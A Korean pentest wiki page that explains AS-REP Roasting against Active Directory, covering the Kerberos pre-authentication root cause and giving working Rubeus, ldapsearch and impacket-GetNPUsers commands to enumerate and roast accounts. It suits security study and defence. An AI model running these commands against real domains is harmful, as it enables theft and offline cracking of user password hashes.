> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/data-theft/active-directory/as-rep-roasting.md).

# AS-REP Roasting

AS-REP Roasting은 커버로스 사전 인증 단계를 생략할 수 있는 도메인 사용자 계정을 이용하여, 인증 없이 암호화된 AS-REP 패킷을 탈취할 수 있는 공격입니다. AS-REP 안에는 TGS-REQ에 사용할 세션키가 클라이언트의 패스워드 해시로 암호화되어 저장되기 때문에 공격자가 AS-REP을 탈취한다면 오프라인 해시 크랙이 가능합니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># AS Rep Roasting에 취약한 객체 열거
</strong>Get-ADUser -Filter {UserAccountControl -band 4194304} -Properties SamAccountName, servicePrincipalName, UserAccountControl | Select-Object SamAccountName, Enabled

<strong># 선택적 AS Rep Roasting
</strong>.\Rubeus.exe asreproast /user:user-A
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># ldapsearch로 AS-REP Roasting 취약한 객체 열거 (도메인 계정 필요)
</strong>ldapsearch -x -H ldap://192.168.1.11 -D 'user-A@contoso.com' -w 'Password123!' -b "dc=contoso,dc=com" "(&#x26;(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" cn distinguishedName sAMAccountName

<strong># GetNPUsers로 AS-REP Roasting 공격 (익명)
</strong>impacket-GetNPUsers contoso.com/'' -usersfile users.txt -dc-ip 192.168.1.11

<strong># 선택적 AS Rep Roasting
</strong>impacket-GetNPUsers contoso.com/user-B -request
</code></pre>

{% endtab %}
{% endtabs %}

## Root Cause

<figure><img src="/files/TNjuqqRGhiYj9Zg6FGNd" alt=""><figcaption><p><a href="https://www.tarlogic.com/blog/how-kerberos-works/">https://www.tarlogic.com/blog/how-kerberos-works/</a></p></figcaption></figure>

커버로스 인증을 사용하기 위해서 클라이언트는 자신의 패스워드 해시로 현재 시간을 암호화하여 KDC에 전달해야 합니다. KDC 역할은 AD 환경에서 DC가 수행하기 때문에 KDC는 클라이언트의 패스워드 해시를 알 수 있습니다.

<figure><img src="/files/XqiivghG22uHvvDc2Fu8" alt=""><figcaption><p>Default Kerberos maximum clock synchronization</p></figcaption></figure>

KDC는 복호화 한 타임스탬프와 현재 도메인 서버의 타임스탬프를 비교하여 5분 이상 차이가 발생한다면 요청을 거절합니다. 만약 시간 차이가 5분 이상 발생하지 않을 경우 KDC는 AS-REP를 통해 TGT를 발급해주며, 여기까지 과정들이 커버로스 사전 인증 단계라고 부릅니다.

<figure><img src="/files/Z6J0AUYIXV046VgbFgBH" alt=""><figcaption><p><a href="https://www.tarlogic.com/blog/how-kerberos-works/">https://www.tarlogic.com/blog/how-kerberos-works/</a></p></figcaption></figure>

AS-REP 패킷에는 신원을 증명하는 TGT 뿐 아니라 TGS-REQ에서 사용할 세션키도 포함되어 있는데, 이 키는 클라이언트의 패스워드 해시로 암호화 되어 있습니다.

<figure><img src="/files/sew8aFW3f1QnOnmWQm99" alt=""><figcaption><p>Do not require Kerberos preauthentication</p></figcaption></figure>

정상적인 상황에서 AS-REQ는 도메인 사용자 계정의 자격 증명이 요구되기 때문에 AS-REP 패킷이 사용자의 패스워드 해시로 암호화되는 것은 특이하거나 취약한 상황은 아니지만 사전 인증 단계가 생략된다면 공격자는 사용자의 AS-REP를 탈취하여 오프라인 해시 크랙을 할 수 있습니다.

<div><figure><img src="/files/rP4nf3kjKAmBNuDqGKUs" alt=""><figcaption><p>Do not require preauthentication AS-REQ</p></figcaption></figure> <figure><img src="/files/bZTOcZzkwATevA2wHVYx" alt=""><figcaption><p>일반적인 AS-REQ</p></figcaption></figure></div>

## References

{% embed url="<https://labs.withsecure.com/publications/attack-detection-fundamentals-discovery-and-lateral-movement-lab-1>" %}

{% embed url="<https://www.xn--hy1b43d247a.com/credential-access/kerberos/as-rep-roasting>" %}
